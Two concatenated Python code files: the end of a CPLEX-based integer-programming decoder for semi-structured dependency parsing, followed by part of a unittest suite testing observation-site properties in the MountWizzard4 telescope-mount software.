lambda i: 0 if i == 0 else node_weights[i - 1].item(), lambda i, j: edge_weights[i, j].item() ) # Reduction 1: # if w(a, b) > and w(a) > and w(b) > 0, # the we can contract into a single node which is always selected while True: has_merged_something = False for i, j in graph.arc_iterator(): if graph.arc_weight(i, j) > 0 and graph.arc_weight(i, j) + graph.node_weight(i) > 0 and graph.arc_weight(i, j) + graph.node_weight(j) > 0: graph.merge(i, j) has_merged_something = True break if not has_merged_something: break if graph.n_nodes() == 1: pred_arcs = torch.zeros_like(max_values, dtype=torch.bool, device="cpu", requires_grad=False) selected_nodes = torch.zeros(n_words, dtype=torch.bool, device="cpu", requires_grad=False) o_nodes, o_arcs = graph.get_original_from_node(next(graph.node_iterator())) for o in o_nodes: if o > 0: selected_nodes[o - 1] = True for i2, j2 in o_arcs: if i2 == 0: pred_arcs[i2, j2] = True elif max_values[i2, j2] > 0 and max_values[j2, i2] > 0: pred_arcs[i2, j2] = True pred_arcs[j2, i2] = True elif max_values[i2, j2] > max_values[j2, i2]: pred_arcs[i2, j2] = True else: pred_arcs[j2, i2] = True return pred_arcs.to(max_indices.device), max_indices, selected_nodes.to(max_indices.device) else: if graph.root == -1: raise RuntimeError("Root disappeared... :(") mprog = cplex.Cplex() mprog.set_log_stream(None) mprog.set_error_stream(None) mprog.set_warning_stream(None) mprog.set_results_stream(None) mprog.objective.set_sense(mprog.objective.sense.maximize) variables = ["x_" + str(i) for i in graph.node_iterator()] vtypes = [mprog.variables.type.binary] * len(variables) lb = [0] * len(variables) ub = [1] * len(variables) scores = [graph.node_weight(i) for i in graph.node_iterator()] # map node to var index nodes = {n: i for i, n in enumerate(graph.node_iterator())} # distance variables distances = dict() for n in nodes.keys(): if n != graph.root: distances[n] = len(variables) variables.append("d_" + str(n)) scores.append(0.) vtypes.append(mprog.variables.type.continuous) lb.append(2.) ub.append(graph.n_nodes()) # edges of the "real graph" edges = dict() for i, j in graph.arc_iterator(): name = "y_" + str(i) + "_" + str(j) edges[(i, j)] = len(variables) variables.append(name) scores.append(graph.arc_weight(i, j)) vtypes.append(mprog.variables.type.binary) lb.append(0.) ub.append(1.) # arcs that ensure connectedness arcs = dict() for i, j in graph.arc_iterator(): if j != graph.root: name = "a_" + str(i) + "_" + str(j) arcs[(i, j)] = len(variables) variables.append(name) scores.append(0.) vtypes.append(mprog.variables.type.binary) lb.append(0.) ub.append(1.) if i != graph.root: name = "a_" + str(j) + "_" + str(i) arcs[(j, i)] = len(variables) variables.append(name) scores.append(0.) vtypes.append(mprog.variables.type.binary) lb.append(0.) ub.append(1.) x = mprog.variables.add( obj=scores, lb=lb, ub=ub, names=variables, types="" if linear_relaxation else vtypes ) constraing_lhd = [] constraing_rhs = [] constraing_sign = [] # constraint (1) # w_e <= y_b for node, var_n in nodes.items(): for i, j in graph.adj_arcs[node].keys(): constraing_lhd.append([ [edges[(i, j)], var_n], [1., -1.] ]) constraing_rhs.append(0) constraing_sign.append("L") # arc can be selected only if the corresponding edge is selected # constraint (5) for (i, j), e in edges.items(): if i == graph.root: constraing_lhd.append([ [arcs[(i, j)], e], [1., -1.] ]) constraing_sign.append("L") constraing_rhs.append(0) elif j == graph.root: constraing_lhd.append([ [arcs[(j, i)], e], [1., -1.] ]) constraing_sign.append("L") constraing_rhs.append(0) else: constraing_lhd.append([ [arcs[(i, j)], arcs[(j, i)], e], [1., 1., -1.] ]) constraing_sign.append("L") constraing_rhs.append(0) # constraint on distance variable domain, # we start at 2 because the root is fixed # constraint (3) # Useless => ensured by bounds """ for d in distances.values(): constraing_lhd.append([ [d], [1.] ]) constraing_sign.append("G") constraing_rhs.append(2.) constraing_lhd.append([ [d], [1.] ]) constraing_sign.append("L") constraing_rhs.append(graph.n_nodes()) """ # if a node is selected, it must have exactly one incoming arc # (except for the root node) # constraint (4) for n, var_n in nodes.items(): if n == graph.root: continue v = [var_a for (i, j), var_a in arcs.items() if j == n] constraing_lhd.append([ v + [var_n], [1.] * len(v) + [-1.] ]) constraing_sign.append("E") constraing_rhs.append(0.) # (non-linear) distance constraints! # constraints (9) and (10) for (i, j), var_a in arcs.items(): # (9) n + d_j - d_i >= (n + 1) a_ij # (10) n + d_i - d_j >= (n - 1) a_ij if i == graph.root: # root has no distance, it is implicityly set to one: # (9) n + d_j - 1 >= (n + 1) a_ij # d_j - (n + 1) a_ij >= 1 - n constraing_lhd.append([ [distances[j], arcs[(i, j)]], [1., -(graph.n_nodes() + 1)] ]) constraing_sign.append("G") constraing_rhs.append(1 - graph.n_nodes()) # (10) n + 1 - d_j >= (n - 1) a_ij # -d_j - (n - 1) a_ij >= -1 - n constraing_lhd.append([ [distances[j], arcs[(i, j)]], [-1., -(graph.n_nodes() - 1)] ]) constraing_sign.append("G") constraing_rhs.append(-1 - graph.n_nodes()) else: # (9) n + d_j - d_i >= (n + 1) a_ij # d_j - d_i - (n + 1) a_ij >= - n constraing_lhd.append([ [distances[j], distances[i], arcs[(i, j)]], [1., -1., -(graph.n_nodes() + 1)] ]) constraing_sign.append("G") constraing_rhs.append(-graph.n_nodes()) # (10) n + d_i - d_j >= (n - 1) a_ij # d_i - d_j - (n - 1) a_ij >= -n constraing_lhd.append([ [distances[i], distances[j], arcs[(i, j)]], [1., -1., -(graph.n_nodes() - 1)] ]) constraing_sign.append("G") constraing_rhs.append(-graph.n_nodes()) # supplementary constraints (12) (13) for (v, u), var_e in edges.items(): # (12) d_v - d_u <= n - (n - 1) e_vu # (13) d_u - d_v <= n - (n - 1) e_vu if v == graph.root: # (12) 1 - d_u <= n - (n - 1) e_vu # - d_u + (n - 1) e_vu <= n - 1 constraing_lhd.append([ [distances[u], var_e], [-1., (graph.n_nodes() - 1)] ]) constraing_sign.append("L") constraing_rhs.append(graph.n_nodes() - 1) # (13) d_u - 1 <= n - (n - 1) e_vu # d_u + (n - 1) e_vu <= n + 1 constraing_lhd.append([ [distances[u], var_e], [1., (graph.n_nodes() - 1)] ]) constraing_sign.append("L") constraing_rhs.append(graph.n_nodes() + 1) elif u == graph.root: # (12) d_v - 1 <= n - (n - 1) e_vu # d_v + (n - 1) e_vu <= n + 1 constraing_lhd.append([ [distances[v], var_e], [1., (graph.n_nodes() - 1)] ]) constraing_sign.append("L") constraing_rhs.append(graph.n_nodes() + 1) # (13) 1 - d_v <= n - (n - 1) e_vu # - d_v + (n - 1) e_vu <= n - 1 constraing_lhd.append([ [distances[v], var_e], [-1., (graph.n_nodes() - 1)] ]) constraing_sign.append("L") constraing_rhs.append(graph.n_nodes() - 1) else: # (12) d_v - d_u <= n - (n - 1) e_vu # d_v - d_u + (n - 1) e_vu <= n constraing_lhd.append([ [distances[v], distances[u], var_e], [1., -1., (graph.n_nodes() - 1)] ]) constraing_sign.append("L") constraing_rhs.append(graph.n_nodes()) # (13) d_u - d_v <= n - (n - 1) e_vu # d_u - d_v + (n - 1) e_vu <= n constraing_lhd.append([ [distances[u], distances[v], var_e], [1., -1., (graph.n_nodes() - 1)] ]) constraing_sign.append("L") constraing_rhs.append(graph.n_nodes()) mprog.linear_constraints.add( lin_expr=constraing_lhd, senses=constraing_sign, rhs=constraing_rhs, ) # Solve the problem mprog.solve() # And print the solutions variable_values = mprog.solution.get_values() if linear_relaxation: pred_arcs = torch.zeros_like(max_values, dtype=torch.float, device="cpu", requires_grad=False) selected_nodes = torch.zeros(n_words, dtype=torch.float, device="cpu", requires_grad=False) for (head, mod), v in edges.items(): v = variable_values[v] for i2, j2 in graph.get_original_from_arc(head, mod): if i2 == 0: pred_arcs[i2, j2] = v elif max_values[i2, j2] > 0 and max_values[j2, i2] > 0: pred_arcs[i2, j2] = v pred_arcs[j2, i2] = v elif max_values[i2, j2] > max_values[j2, i2]: pred_arcs[i2, j2] = v else: pred_arcs[j2, i2] = v for n, i in nodes.items(): v = variable_values[i] o_nodes, o_arcs = graph.get_original_from_node(n) for o in o_nodes: if o > 0: selected_nodes[o - 1] = v for i2, j2 in o_arcs: if i2 == 0: pred_arcs[i2, j2] = v elif max_values[i2, j2] > 0 and max_values[j2, i2] > 0: pred_arcs[i2, j2] = v pred_arcs[j2, i2] = v elif max_values[i2, j2] > max_values[j2, i2]: pred_arcs[i2, j2] = v else: pred_arcs[j2, i2] = v #print(pred_arcs) #print(selected_nodes) return pred_arcs.to(max_indices.device), max_indices, selected_nodes.to(max_indices.device) else: pred_arcs = torch.zeros_like(max_values, dtype=torch.bool, device="cpu", requires_grad=False) selected_nodes = torch.zeros(n_words, dtype=torch.bool, device="cpu", requires_grad=False) for (head, mod), v in edges.items(): if variable_values[v] > 0.99: for i2, j2 in graph.get_original_from_arc(head, mod): if i2 == 0: pred_arcs[i2, j2] = True elif max_values[i2, j2] > 0 and max_values[j2, i2] > 0: pred_arcs[i2, j2] = True pred_arcs[j2, i2] = True elif max_values[i2, j2] > max_values[j2, i2]: pred_arcs[i2, j2] = True else: pred_arcs[j2, i2] = True for n, i in nodes.items(): if variable_values[i] > 0.99: o_nodes, o_arcs = graph.get_original_from_node(n) for o in o_nodes: if o > 0: selected_nodes[o - 1] = True for i2, j2 in o_arcs: if i2 == 0: pred_arcs[i2, j2] = True elif max_values[i2, j2] > 0 and max_values[j2, i2] > 0: pred_arcs[i2, j2] = True pred_arcs[j2, i2] = True elif max_values[i2, j2] > max_values[j2, i2]: pred_arcs[i2, j2] = True else: pred_arcs[j2, i2] = True #print(pred_arcs) #print(selected_nodes) return pred_arcs.to(max_indices.device), max_indices, selected_nodes.to(max_indices.device) """ def argmax_semi_structured(weights, node_weights, linear_relaxation=False): n_words = node_weights.shape[0] # get the label of maximum weight for each arc arc_weights, max_indices = weights.max(dim=2) # transform arc weights into edge weights # the edge weights between a and b is degined as follows: # w(a, b) > 0 and w(b, a) > 0: w(a, b) + w(b, a) # w(a, b) <= 0 and w(b, a) > 0: w(b, a) # w(a, b) > 0 and w(b, a) <= 0: w(a, b) # w(a, b) <= 0 and w(b, a) <= 0: max(w(a, b), w(b, a)) t_arc_weights = arc_weights.transpose(0, 1) edge_weights = torch.max(arc_weights + t_arc_weights, torch.max(arc_weights, t_arc_weights)) edge_weights = edge_weights.cpu() node_weights = node_weights.cpu() graph = Graph( n_words + 1, lambda i: 0 if i == 0 else node_weights[i - 1].item(), lambda i, j: weights[i, j].item() ) # Reduction: # if w(a, b) + w(a) + w(b) > 0, # the we can contract into a single node which is always selected while True: has_merged_something = False for i, j in graph.arc_iterator(): w = graph.arc_weight(i, j) + graph.node_weight(i) + graph.node_weight(j) if w > 0: graph.merge(i, j) has_merged_something = True break if not has_merged_something: break mprog = cplex.Cplex() mprog.set_log_stream(None) mprog.set_error_stream(None) mprog.set_warning_stream(None) mprog.set_results_stream(None) mprog.objective.set_sense(mprog.objective.sense.maximize) variables = ["x_" + str(i + 1) for i in range(n_words)] scores = [node_weights[i].item() for i in range(n_words)] arcs = dict() for head in range(n_words + 1): for mod in range(1, n_words + 1): if head != mod: name = "y_" + str(head) + "_" + str(mod) arcs[(head, mod)] = len(variables) variables.append(name) scores.append(arc_weights[head, mod].item()) lb = [0] * len(variables) ub = [1] * len(variables) x = mprog.variables.add( obj=scores, lb=lb, ub=ub, names=variables, types="" if linear_relaxation else [mprog.variables.type.binary] * len(scores) ) constraing_lhd = [] constraing_rhs = [] constraing_sign = [] # each node is forced to 1 if at least one adjacent arc for i in range(n_words): for head in range(0, n_words + 1): if head == i + 1: continue # node >= arcs[(head, i + 1)] constraing_lhd.append([ [i, arcs[(head, i + 1)]], [1., -1.] ]) constraing_rhs.append(0) constraing_sign.append("G") for mod in range(1, n_words + 1): if mod == i + 1: continue # node >= arcs[(i + 1, mod)] constraing_lhd.append([ [i, arcs[(i + 1, mod)]], [1., -1.] ]) constraing_rhs.append(0) constraing_sign.append("G") # each node is forced to 0 if no adjacent arc for i in range(n_words): adjacent_arcs = [i] adjacent_arcs.extend( arcs[(head, i + 1)] for head in range(0, n_words + 1) if head != i + 1 ) adjacent_arcs.extend( arcs[(i + 1, mod)] for mod in range(1, n_words + 1) if mod != i + 1 ) # node <= mip.xsum(adjacent_arcs) constraing_lhd.append([ adjacent_arcs, [1.] + [-1.] * (len(adjacent_arcs) - 1) ]) constraing_rhs.append(0) constraing_sign.append("L") mprog.linear_constraints.add( lin_expr=constraing_lhd, senses=constraing_sign, rhs=constraing_rhs, ) # Solve the problem mprog.solve() # And print the solutions variable_values = mprog.solution.get_values() pred_arcs = torch.zeros_like(arc_weights, dtype=bool, device="cpu", requires_grad=False) for (head, mod), v in arcs.items(): if variable_values[v] > 0.99: pred_arcs[head, mod] = True selected_nodes = torch.zeros(n_words, dtype=bool, device="cpu", requires_grad=False) for i in range(n_words): if variable_values[i] > 0.99: selected_nodes[i] = True #print(pred_arcs) #print(selected_nodes) return pred_arcs.to(max_indices.device), max_indices, selected_nodes.to(max_indices.device) MIP + Gurobi implementation, unfortunately I cannot run Gurobi on the cluster due to licensing problems def argmax_semi_structured(weights, node_weights): # get the label of maximum weight for each arc arc_weights, max_indices = weights.max(dim=2) arc_weights = arc_weights.cpu() node_weights = node_weights.cpu() m = mip.Model('knapsack', sense= mip.MAXIMIZE, solver_name=mip.GRB) m.verbose = 0 nodes = [m.add_var(var_type=mip.BINARY) for _ in range(node_weights.shape[0])] score_items = [node_weights[i].item() * nodes[i] for i in range(len(nodes))] arcs = dict() for head in range(node_weights.shape[0] + 1): for mod in range(1, node_weights.shape[0] + 1): if head != mod: v = m.add_var(var_type=mip.BINARY) arcs[(head, mod)] = v score_items.append(v * arc_weights[head, mod].item()) m.objective = mip.maximize(mip.xsum(score_items)) # each node is forced to 1 if at least one adjacent arc for i, node in enumerate(nodes): for head in range(0, len(nodes) + 1): if head == i + 1: continue m += node - arcs[(head, i + 1)] >= 0 for mod in range(1, len(nodes) + 1): if mod == i + 1: continue m += node - arcs[(i + 1, mod)] >= 0 # each node is forced to 0 if no adjacent arc for i, node in enumerate(nodes): adjacent_arcs = [arcs[(head, i + 1)] for head in range(0, len(nodes) + 1) if head != i + 1] adjacent_arcs += [arcs[(i + 1, mod)] for mod in range(1, len(nodes) + 1) if mod != i + 1] m += node <= mip.xsum(adjacent_arcs) status = m.optimize() pred_arcs = torch.zeros_like(arc_weights, dtype=bool, device="cpu", requires_grad=False) for (head, mod), v in arcs.items(): if v.x > 0.99: pred_arcs[head, mod] = True selected_nodes = torch.zeros(len(nodes), dtype=bool, device="cpu", requires_grad=False) for i, x in enumerate(nodes): if x.x > 0.99: selected_nodes[i] = True #print(pred_arcs) #print(selected_nodes) return pred_arcs.to(max_indices.device), max_indices, selected_nodes.to(max_indices.device) """

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Python

tests/unit_tests/mountcontrol/test_obsSite.py

mworion/MountWizzard4

4e06b29ec2ef70be40e114b911b7bdf2f858a4b1

[ "Apache-2.0" ]

16

2020-01-11T22:32:26.000Z

2022-03-31T15:18:14.000Z

tests/unit_tests/mountcontrol/test_obsSite.py

mworion/MountWizzard4

4e06b29ec2ef70be40e114b911b7bdf2f858a4b1

[ "Apache-2.0" ]

196

2020-01-16T13:56:01.000Z

2022-03-29T02:06:51.000Z

tests/unit_tests/mountcontrol/test_obsSite.py

mworion/MountWizzard4

4e06b29ec2ef70be40e114b911b7bdf2f858a4b1

[ "Apache-2.0" ]

6

2019-12-01T19:39:33.000Z

2021-05-27T13:14:20.000Z

############################################################ # -*- coding: utf-8 -*- # # # # # # # # # ## ## # ## # # # # # # # # # # # # # # # ## # ## ## ###### # # # # # # # # # Python-based Tool for interaction with the 10micron mounts # GUI with PyQT5 for python # # written in python3, (c) 2019-2021 by mworion # Licence APL2.0 # ########################################################### # standard libraries import unittest import unittest.mock as mock import os import platform # external packages from skyfield.api import Angle, Timescale, wgs84, Star # local imports import mountcontrol from mountcontrol.obsSite import ObsSite from base.loggerMW import setupLogging setupLogging() class TestConfigData(unittest.TestCase): def setUp(self): global pathToData pathToData = os.getcwd() + '/data' # # # testing the timescale reference # # def test_Data_without_ts(self): obsSite = ObsSite(pathToData='tests/workDir/data') self.assertEqual(isinstance(obsSite.ts, Timescale), True) def test_Data_with_ts(self): obsSite = ObsSite(pathToData=None) self.assertEqual(isinstance(obsSite.ts, Timescale), True) def test_Site_location_1(self): obsSite = ObsSite(pathToData=pathToData) elev = '999.9' lon = '+160*30:45.5' lat = '+45*30:45.5' obsSite.location = lat, lon, elev self.assertAlmostEqual(160, obsSite.location.longitude.dms()[0], 6) self.assertAlmostEqual(30, obsSite.location.longitude.dms()[1], 6) self.assertAlmostEqual(45.5, obsSite.location.longitude.dms()[2], 6) self.assertAlmostEqual(45, obsSite.location.latitude.dms()[0], 6) self.assertAlmostEqual(30, obsSite.location.latitude.dms()[1], 6) self.assertAlmostEqual(45.5, obsSite.location.latitude.dms()[2], 6) self.assertAlmostEqual(999.9, obsSite.location.elevation.m, 6) def test_Site_location_2(self): obsSite = ObsSite(pathToData=pathToData) elev = '999.9' lon = '+160*30:45.5' lat = '+45*30:45.5' obsSite.location = (lat, lon, elev) self.assertAlmostEqual(160, obsSite.location.longitude.dms()[0], 6) self.assertAlmostEqual(30, obsSite.location.longitude.dms()[1], 6) self.assertAlmostEqual(45.5, obsSite.location.longitude.dms()[2], 6) self.assertAlmostEqual(45, obsSite.location.latitude.dms()[0], 6) self.assertAlmostEqual(30, obsSite.location.latitude.dms()[1], 6) self.assertAlmostEqual(45.5, obsSite.location.latitude.dms()[2], 6) self.assertAlmostEqual(999.9, obsSite.location.elevation.m, 6) def test_Site_location_3(self): obsSite = ObsSite(pathToData=pathToData) elev = 100 lon = 100 lat = 45 obsSite.location = wgs84.latlon(longitude_degrees=lon, latitude_degrees=lat, elevation_m=elev) self.assertAlmostEqual(100, obsSite.location.longitude.dms()[0], 6) self.assertAlmostEqual(0, obsSite.location.longitude.dms()[1], 6) self.assertAlmostEqual(0, obsSite.location.longitude.dms()[2], 6) self.assertAlmostEqual(45, obsSite.location.latitude.dms()[0], 6) self.assertAlmostEqual(0, obsSite.location.latitude.dms()[1], 6) self.assertAlmostEqual(0, obsSite.location.latitude.dms()[2], 6) self.assertAlmostEqual(100, obsSite.location.elevation.m, 6) def test_Site_location_4(self): obsSite = ObsSite(pathToData=pathToData) lon = '+160*30:45.5' lat = '+45*30:45.5' obsSite.location = (lat, lon) self.assertEqual(None, obsSite.location) self.assertEqual(None, obsSite._location) def test_Site_location_5(self): obsSite = ObsSite(pathToData=pathToData) lat = '+45*30:45.5' obsSite.location = lat self.assertEqual(None, obsSite.location) def test_Site_timeJD_1(self): obsSite = ObsSite(pathToData=pathToData) obsSite.ut1_utc = '0' obsSite.timeJD = '2458240.12345678' self.assertEqual(2458240.123457949, obsSite.timeJD.ut1) obsSite.timeJD = 2458240.12345678 self.assertEqual(2458240.123457949, obsSite.timeJD.ut1) obsSite.timeJD = '2458240.a23e5678' self.assertAlmostEqual(obsSite.ts.now(), obsSite.timeJD, 4) self.assertEqual(None, obsSite._timeJD) def test_Site_timeJD_2(self): obsSite = ObsSite(pathToData=pathToData) obsSite.timeJD = obsSite.ts.now().tt - 69.184 / 86400 self.assertAlmostEqual(obsSite.ts.now().tt, obsSite.timeJD.tt, 4) def test_timeDiff(self): obsSite = ObsSite(pathToData=pathToData) obsSite._timeDiff = [10, 10, 10, 10, 10] obsSite.timeDiff = 20 assert obsSite.timeDiff == 10 def test_Site_ut1_utc(self): obsSite = ObsSite(pathToData=pathToData) obsSite.ut1_utc = '123.11' self.assertEqual(123.11 / 86400, obsSite.ut1_utc) def test_Site_utc_ut2(self): obsSite = ObsSite(pathToData=pathToData) obsSite.ut1_utc = None assert obsSite.ut1_utc is None def test_Site_timeSidereal_1(self): obsSite = ObsSite(pathToData=pathToData) obsSite.timeSidereal = '12:30:00.00' self.assertEqual(obsSite.timeSidereal.hours, 12.5) obsSite.timeSidereal = '12:aa:30.01' self.assertEqual(None, obsSite.timeSidereal) obsSite.timeSidereal = ['12:aa:30.01'] self.assertEqual(None, obsSite.timeSidereal) self.assertEqual(None, obsSite._timeSidereal) obsSite.timeSidereal = 12.0 self.assertEqual(obsSite.timeSidereal.hours, 12) obsSite.timeSidereal = Angle(hours=12.0) self.assertEqual(obsSite.timeSidereal.hours, 12) def test_Site_ra(self): obsSite = ObsSite(pathToData=pathToData) obsSite.raJNow = Angle(hours=34) self.assertEqual(34, obsSite.raJNow.hours) obsSite.raJNow = 34 self.assertEqual(34, obsSite.raJNow.hours) self.assertEqual(34, obsSite._raJNow.hours) obsSite.raJNow = '34' self.assertEqual(34, obsSite.raJNow.hours) obsSite.raJNow = '34f' self.assertEqual(None, obsSite.raJNow) def test_Site_dec(self): obsSite = ObsSite(pathToData=pathToData) obsSite.decJNow = Angle(degrees=34) self.assertEqual(34, obsSite.decJNow.degrees) obsSite.decJNow = 34 self.assertEqual(34, obsSite.decJNow.degrees) self.assertEqual(34, obsSite._decJNow.degrees) obsSite.decJNow = '34' self.assertEqual(34, obsSite.decJNow.degrees) obsSite.decJNow = '34f' self.assertEqual(None, obsSite.decJNow) def test_Site_alt(self): obsSite = ObsSite(pathToData=pathToData) obsSite.Alt = Angle(degrees=34) self.assertEqual(34, obsSite.Alt.degrees) obsSite.Alt = 34 self.assertEqual(34, obsSite.Alt.degrees) self.assertEqual(34, obsSite._Alt.degrees) obsSite.Alt = '34' self.assertEqual(34, obsSite.Alt.degrees) obsSite.Alt = '34f' self.assertEqual(None, obsSite.Alt) def test_Site_az(self): obsSite = ObsSite(pathToData=pathToData) obsSite.Az = Angle(degrees=34) self.assertEqual(34, obsSite.Az.degrees) obsSite.Az = 34 self.assertEqual(34, obsSite.Az.degrees) self.assertEqual(34, obsSite._Az.degrees) obsSite.Az = '34' self.assertEqual(34, obsSite.Az.degrees) obsSite.Az = '34f' self.assertEqual(None, obsSite.Az) def test_Site_pierside(self): obsSite = ObsSite(pathToData=pathToData) obsSite.pierside = 'E' self.assertEqual(obsSite.pierside, 'E') obsSite.pierside = 'e' self.assertEqual(obsSite.pierside, 'E') obsSite.pierside = 'w' self.assertEqual(obsSite.pierside, 'W') self.assertEqual(obsSite._pierside, 'W') obsSite.pierside = 'W' self.assertEqual(obsSite.pierside, 'W') obsSite.pierside = 'WW' self.assertEqual(obsSite.pierside, None) obsSite.pierside = '12' self.assertEqual(obsSite.pierside, None) obsSite.pierside = 17 self.assertEqual(obsSite.pierside, None) def test_Site_raTarget(self): obsSite = ObsSite(pathToData=pathToData) obsSite.raJNowTarget = '*34:00:00.00' self.assertEqual(34, obsSite.raJNowTarget.hours) obsSite.raJNowTarget = 34 self.assertEqual(None, obsSite.raJNowTarget) self.assertEqual(None, obsSite._raJNowTarget) obsSite.raJNowTarget = '34' self.assertEqual(None, obsSite.raJNowTarget) obsSite.raJNowTarget = '34f' self.assertEqual(None, obsSite.raJNowTarget) obsSite.raJNowTarget = Angle(hours=12) self.assertEqual(obsSite.raJNowTarget.hours, 12) def test_Site_haJNow_1(self): obsSite = ObsSite(pathToData=pathToData) obsSite.timeSidereal = 12 obsSite.raJNow = Angle(hours=12) obsSite.haJNow is None def test_Site_haJNow_2(self): obsSite = ObsSite(pathToData=pathToData) obsSite.timeSidereal = Angle(hours=12) obsSite.raJNow = Angle(hours=12) obsSite.haJNow.hours == 0 def test_Site_haJNowTarget_1(self): obsSite = ObsSite(pathToData=pathToData) obsSite.timeSidereal = 12 obsSite.raJNowTarget = Angle(hours=12) obsSite.haJNowTarget is None def test_Site_haJNowTarget_2(self): obsSite = ObsSite(pathToData=pathToData) obsSite.timeSidereal = Angle(hours=12) obsSite.raJNowTarget = Angle(hours=12) obsSite.haJNowTarget.hours == 0 def test_Site_decTarget(self): obsSite = ObsSite(pathToData=pathToData) obsSite.decJNowTarget = '*34:00:00.00' self.assertEqual(34, obsSite.decJNowTarget.degrees) obsSite.decJNowTarget = 34 self.assertEqual(None, obsSite.decJNowTarget) self.assertEqual(None, obsSite._decJNowTarget) obsSite.decJNowTarget = '34' self.assertEqual(None, obsSite.decJNowTarget) obsSite.decJNowTarget = '34f' self.assertEqual(None, obsSite.decJNowTarget) obsSite.decJNowTarget = Angle(degrees=34) self.assertEqual(obsSite.decJNowTarget.degrees, 34) def test_Site_altTarget(self): obsSite = ObsSite(pathToData=pathToData) obsSite.AltTarget = '*34:00:00.00' self.assertEqual(34, obsSite.AltTarget.degrees) obsSite.AltTarget = 34 self.assertEqual(None, obsSite.AltTarget) obsSite.AltTarget = Angle(degrees=34) self.assertEqual(obsSite.AltTarget.degrees, 34) self.assertEqual(obsSite._AltTarget.degrees, 34) obsSite.AltTarget = '34' self.assertEqual(None, obsSite.AltTarget) obsSite.AltTarget = '34f' self.assertEqual(None, obsSite.AltTarget) def test_Site_azTarget(self): obsSite = ObsSite(pathToData=pathToData) obsSite.AzTarget = '*34:00:00.00' self.assertEqual(34, obsSite.AzTarget.degrees) obsSite.AzTarget = 34 self.assertEqual(None, obsSite.AzTarget) obsSite.AzTarget = Angle(degrees=34) self.assertEqual(obsSite.AzTarget.degrees, 34) self.assertEqual(obsSite._AzTarget.degrees, 34) obsSite.AzTarget = '34' self.assertEqual(None, obsSite.AzTarget) obsSite.AzTarget = '34f' self.assertEqual(None, obsSite.AzTarget) def test_angularPosRA_1(self): obsSite = ObsSite(pathToData=pathToData) obsSite.angularPosRA = 12 assert obsSite.angularPosRA.degrees == 12 def test_angularPosRA_2(self): obsSite = ObsSite(pathToData=pathToData) obsSite.angularPosRA = Angle(degrees=12) assert obsSite.angularPosRA.degrees == 12 def test_angularPosDEC_1(self): obsSite = ObsSite(pathToData=pathToData) obsSite.angularPosDEC = 12 assert obsSite.angularPosDEC.degrees == 12 def test_angularPosDEC_2(self): obsSite = ObsSite(pathToData=pathToData) obsSite.angularPosDEC = Angle(degrees=12) assert obsSite.angularPosDEC.degrees == 12 def test_errorAngularPosRA_1(self): obsSite = ObsSite(pathToData=pathToData) obsSite.errorAngularPosRA = 12 assert obsSite.errorAngularPosRA.degrees == 12 def test_errorAngularPosRA_2(self): obsSite = ObsSite(pathToData=pathToData) obsSite.errorAngularPosRA = Angle(degrees=12) assert obsSite.errorAngularPosRA.degrees == 12 def test_errorAngularPosDEC_1(self): obsSite = ObsSite(pathToData=pathToData) obsSite.errorAngularPosDEC = 12 assert obsSite.errorAngularPosDEC.degrees == 12 def test_errorAngularPosDEC_2(self): obsSite = ObsSite(pathToData=pathToData) obsSite.errorAngularPosDEC = Angle(degrees=12) assert obsSite.errorAngularPosDEC.degrees == 12 def test_angularPosRATarget_1(self): obsSite = ObsSite(pathToData=pathToData) obsSite.angularPosRATarget = 12 assert obsSite.angularPosRATarget.degrees == 12 def test_angularPosRATarget_2(self): obsSite = ObsSite(pathToData=pathToData) obsSite.angularPosRATarget = Angle(degrees=12) assert obsSite.angularPosRATarget.degrees == 12 def test_angularPosDECTarget_1(self): obsSite = ObsSite(pathToData=pathToData) obsSite.angularPosDECTarget = 12 assert obsSite.angularPosDECTarget.degrees == 12 def test_angularPosDECTarget_2(self): obsSite = ObsSite(pathToData=pathToData) obsSite.angularPosDECTarget = Angle(degrees=12) assert obsSite.angularPosDECTarget.degrees == 12 def test_Site_piersideTarget(self): obsSite = ObsSite(pathToData=pathToData) obsSite.piersideTarget = '2' self.assertEqual(obsSite.piersideTarget, 'W') obsSite.piersideTarget = '3' self.assertEqual(obsSite.piersideTarget, 'E') obsSite.piersideTarget = '3' self.assertEqual(obsSite.piersideTarget, 'E') self.assertEqual(obsSite._piersideTarget, 'E') obsSite.piersideTarget = '3' self.assertEqual(obsSite.piersideTarget, 'E') obsSite.piersideTarget = 'WW' self.assertEqual(obsSite.piersideTarget, None) obsSite.piersideTarget = '12' self.assertEqual(obsSite.piersideTarget, None) obsSite.piersideTarget = 0 self.assertEqual(obsSite.piersideTarget, None) def test_Site_status(self): obsSite = ObsSite(pathToData=pathToData) obsSite.status = '1' self.assertEqual(1, obsSite.status) obsSite.status = 1 self.assertEqual(1, obsSite.status) self.assertEqual(1, obsSite._status) obsSite.status = '1d' self.assertEqual(None, obsSite.status) obsSite.status = '1d' self.assertEqual(None, obsSite.status) obsSite.status = '0' self.assertEqual(0, obsSite.status) obsSite.status = '100' self.assertEqual(None, obsSite.status) def test_status_1(self): obsSite = ObsSite(pathToData=pathToData) obsSite.status = None self.assertEqual(None, obsSite.status) def test_status_2(self): obsSite = ObsSite(pathToData=pathToData) obsSite.status = 'E' self.assertEqual(None, obsSite.status) def test_status_3(self): obsSite = ObsSite(pathToData=pathToData) obsSite.status = '5' self.assertEqual(5, obsSite.status) def test_statusSat_1(self): obsSite = ObsSite(pathToData=pathToData) obsSite.statusSat = 1 self.assertEqual(obsSite.statusSat, None) def test_statusSat_2(self): obsSite = ObsSite(pathToData=pathToData) obsSite.statusSat = 'V' self.assertEqual(obsSite.statusSat, 'V') def test_Site_statusText_1(self): obsSite = ObsSite(pathToData=pathToData) obsSite.status = None self.assertEqual(None, obsSite.statusText()) def test_Site_statusText_2(self): obsSite = ObsSite(pathToData=pathToData) obsSite.status = '1' self.assertEqual('Stopped after STOP', obsSite.statusText()) def test_Site_statusSlew(self): obsSite = ObsSite(pathToData=pathToData) obsSite.statusSlew = '1' self.assertEqual(True, obsSite.statusSlew) obsSite.statusSlew = 1 self.assertEqual(True, obsSite.statusSlew) self.assertEqual(True, obsSite._statusSlew) obsSite.statusSlew = True self.assertEqual(True, obsSite.statusSlew) obsSite.statusSlew = False self.assertEqual(False, obsSite.statusSlew) obsSite.statusSlew = 'True' self.assertEqual(True, obsSite.statusSlew) obsSite.statusSlew = '100' self.assertEqual(True, obsSite.statusSlew) obsSite.statusSlew = '-100' self.assertEqual(True, obsSite.statusSlew) obsSite.statusSlew = '' self.assertEqual(False, obsSite.statusSlew) obsSite.statusSlew = (0, 0) self.assertEqual(True, obsSite.statusSlew) def 